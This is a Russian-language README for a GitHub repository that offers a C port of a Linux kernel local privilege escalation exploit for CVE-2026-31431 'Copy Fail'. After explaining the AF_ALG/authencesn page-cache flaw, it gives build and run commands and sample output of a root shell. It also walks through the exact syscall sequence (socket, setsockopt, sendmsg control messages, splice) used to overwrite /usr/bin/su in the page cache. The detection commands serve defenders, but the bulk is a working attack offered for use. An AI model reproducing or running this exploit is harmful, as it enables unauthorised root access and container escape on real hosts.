polyakovavv/copyfailЭксплойт локального повышения привилегий на C для CVE-2026-31431 — уязвимости ядра Linux в криптографическом интерфейсе AF_ALG, обеспечивающий получение root-доступа через манипуляцию страничным кэшем.
Copy Fail (CVE-2026-31431) — это логическая уязвимость в ядре Linux, позволяющая локальному непривилегированному пользователю повысить привилегии до уровня суперпользователя (root). Уязвимость относится к классу Local Privilege Escalation (LPE), не требует сложных условий эксплуатации (таких как race condition или подбор адресов в памяти) и работает "из коробки" на большинстве дистрибутивов Linux, выпущенных после 2017 года.
Данный репозиторий содержит порт оригинального Python-эксплойта на язык C с подробными комментариями, пригодный для статической компиляции и использования в минимальных окружениях.
Уязвимость возникает из-за логической ошибки в криптографической подсистеме ядра Linux, связанной с обработкой AF_ALG (интерфейса криптографического API ядра) и механизма страничного кэша (page cache).
Ошибка была внесена в 2017 году при добавлении оптимизации, которая убрала лишнюю буферизацию через выполнение операций блочного шифрования AEAD (Authenticated Encryption with Associated Data) по месту (in-place). Из-за некорректной обработки границ буферов в алгоритме authencesn (часть криптографического шаблона AEAD) возникает запись 4 байт за пределы выделенного буфера, что приводит к повреждению структур управления страничным кэшем.
В результате ядро может записать данные обратно в страничный кэш файла, даже если он был открыт только для чтения (O_RDONLY).
AF_ALG и инициализирует AEAD-алгоритм authencesn(hmac(sha256),cbc(aes)).setsockopt() устанавливаются аномальные параметры:
sendmsg() с control messages инициируется операция расшифрования.splice() перемещает данные из целевого файла (открытого O_RDONLY) в крипто-сокет.authencesn страничный кэш файла повреждается, и "расшифрованные" данные записываются обратно в кэш.root.| Компонент | Описание |
|---|---|
| Ядро Linux | Все версии с 2017 года до момента включения исправляющего патча |
| Подсистема | crypto (модуль algif_aead) |
| Интерфейс | AF_ALG — пользовательский доступ к крипто-API ядра |
| Системный вызов | splice() в связке с сокетами AF_ALG |
Уязвимые дистрибутивы (при использовании ядер с загруженным модулем algif_aead):
Особая значимость: в контейнерных средах (Docker, LXC, Kubernetes) процессам внутри контейнера по умолчанию доступна подсистема AF_ALG, если модуль algif_aead загружен в ядре хоста. Это создаёт риск нарушения изоляции контейнера и получения контроля над хостовой машиной.
Проверка уязвимости:
# Проверить, загружен ли модуль algif_aead
lsmod | grep algif
# Проверить наличие AF_ALG в ядре
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
Оригинальный эксплойт был написан на Python (≈732 байт). Данный порт на C имеет следующие особенности:
libz.strace).recv() — предотвращает зависание, повторяя поведение try/except из Python.Ключевые отличия от Python-версии, выявленные при портировании:
| Параметр | Python | C (этот порт) |
|---|---|---|
Флаг sendmsg() | MSG_MORE | MSG_MORE |
Флаг splice() | 0 | 0 |
| Смещение в pipe | NULL | NULL |
| Размер ключа | 40 байт | 40 байт |
cmsg_len | 20/36/20 | 20/36/20 (жёстко) |
| Создание pipe | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Блокирующий с try/except | Неблокирующий (O_NONBLOCK) |
# Требуется libz (zlib1g-dev или zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
При успешной эксплуатации будет запущена пропатченная версия /usr/bin/su, предоставляющая root-доступ без запроса пароля.
Ожидаемый вывод:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su открыт
[+] 40 чанков
[*] 40/40 ок
# id
uid=0(root) gid=0(root) groups=0(root)
Ниже приведён детальный разбор каждого шага эксплойта с указанием соответствующих системных вызовов:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
Создаётся сокет для доступа к криптографическому API ядра. Алгоритм authencesn (Authenticated Encryption with Sequence Numbers) — это составной AEAD-алгоритм, использующий AES-CBC для шифрования и HMAC-SHA256 для аутентификации.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 нуля), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19нулей), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3нуля)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
Создаётся соединение для операции. Через sendmsg() с control messages (CMSG) устанавливаются параметры:
ALG_OP_DECRYPT = 0).Все эти аномалии создают несоответствия в управлении памятью ядра.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice() — системный вызов для перемещения данных между файловыми дескрипторами без копирования через userspace. Данные перемещаются на уровне ядра через механизм pipe.
splice(target_fd -> pipe): данные из целевого файла (/usr/bin/su) попадают в pipe.splice(pipe -> conn_sock): данные из pipe поступают в крипто-сокет как "зашифрованный текст".Ключевой момент: в Python (и в данном порте) смещение для pipe передаётся как NULL, что позволяет ядру автоматически управлять позицией.